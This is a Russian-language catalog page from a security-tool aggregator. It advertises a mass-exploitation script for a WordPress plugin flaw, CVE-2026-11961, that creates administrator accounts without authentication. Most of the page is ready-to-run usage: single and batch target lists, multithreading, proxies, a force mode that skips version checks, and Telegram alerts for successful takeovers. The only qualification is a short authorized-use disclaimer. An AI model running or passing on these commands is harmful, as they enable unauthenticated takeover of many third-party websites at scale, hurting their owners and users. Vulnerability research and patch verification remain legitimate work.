Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11961 — CVE-2026-11961 — UserRegistration: регистрация пользователей WordPress <= 5.2.2 — повышение привилегий. Неправильно настроенные роли участников → неаутентифицированное создание администратора → компрометация сайта. CVSS 8.1 | Kitploit
Инструменты/GitHubGitHub/johenlastgen-jlg/cve-2026-11961
Повышение привилегийСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеНеправильная Конфигурация

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
johenlastgen-jlg/cve-2026-11961

CVE-2026-11961

CVE-2026-11961 — UserRegistration: регистрация пользователей WordPress <= 5.2.2 — повышение привилегий. Неправильно настроенные роли участников → неаутентифицированное создание администратора → компрометация сайта. CVSS 8.1

Репозиторий
161 месяц назадЕщё не проверено

CVE-2026-11961

Mass Exploit инструмент для CVE-2026-11961, затрагивающий плагин WordPress User Registration & Membership.

Возможности

  • Определение версии плагина
  • Поддержка одиночной цели
  • Обработка пакета целей
  • Многопоточная поддержка
  • Случайные или пользовательские учётные данные
  • Поддержка HTTP/HTTPS прокси
  • Настройка тайм-аута запросов
  • Вывод в JSONL
  • Поддержка файлов журнала
  • Уведомления в Telegram
  • Принудительный режим (--force)

Использование

root@kitploit:~
# Показать справку
python3 mass.py -h

# Одиночная цель
python3 mass.py -u https://target.com

# Одиночная цель с пользовательскими учётными данными
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"

# Несколько целей
python3 mass.py -l targets.txt -t 20

# Сохранить успешные результаты
python3 mass.py -l targets.txt -o results.jsonl

# Записать файл журнала
python3 mass.py -l targets.txt --log exploit.log

# Уведомления в Telegram
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID

# Прокси
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080

# Принудительный режим
python3 mass.py -u https://target.com --force

Параметры

Отказ от ответственности

Этот проект предоставляется исключительно для авторизованных оценок безопасности, оборонительных исследований в области безопасности и проверки уязвимостей.

Используя данное программное обеспечение, вы подтверждаете, что имеете явное разрешение на оценку целевых систем. Несанкционированный доступ к компьютерным системам запрещён и может нарушать действующее законодательство.

Автор и участники не поощряют и не одобряют несанкционированное использование этого проекта и не несут никакой ответственности за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате его использования.

Автор

JohenLastGen JLG NETWORK

Скачать инструмент
ПараметрОписание
-h, --helpПоказать справочное сообщение и выйти
-u, --urlURL одиночной цели
-l, --listФайл, содержащий URL целей (по одному на строку)
--usernameИмя администратора (по умолчанию: генерируется случайно)
--passwordПароль администратора (по умолчанию: генерируется случайно)
-t, --threadsКоличество параллельных потоков (по умолчанию: 5)
--timeoutТайм-аут запроса в секундах (по умолчанию: 15)
-o, --outputСохранить успешные результаты в файл JSONL
--logСохранять журнал консоли в файл
--proxyHTTP/HTTPS прокси (например, http://127.0.0.1:8080)
--forceПропустить проверку версии и продолжить обработку
--tg-tokenТокен Telegram-бота
--tg-chatID чата Telegram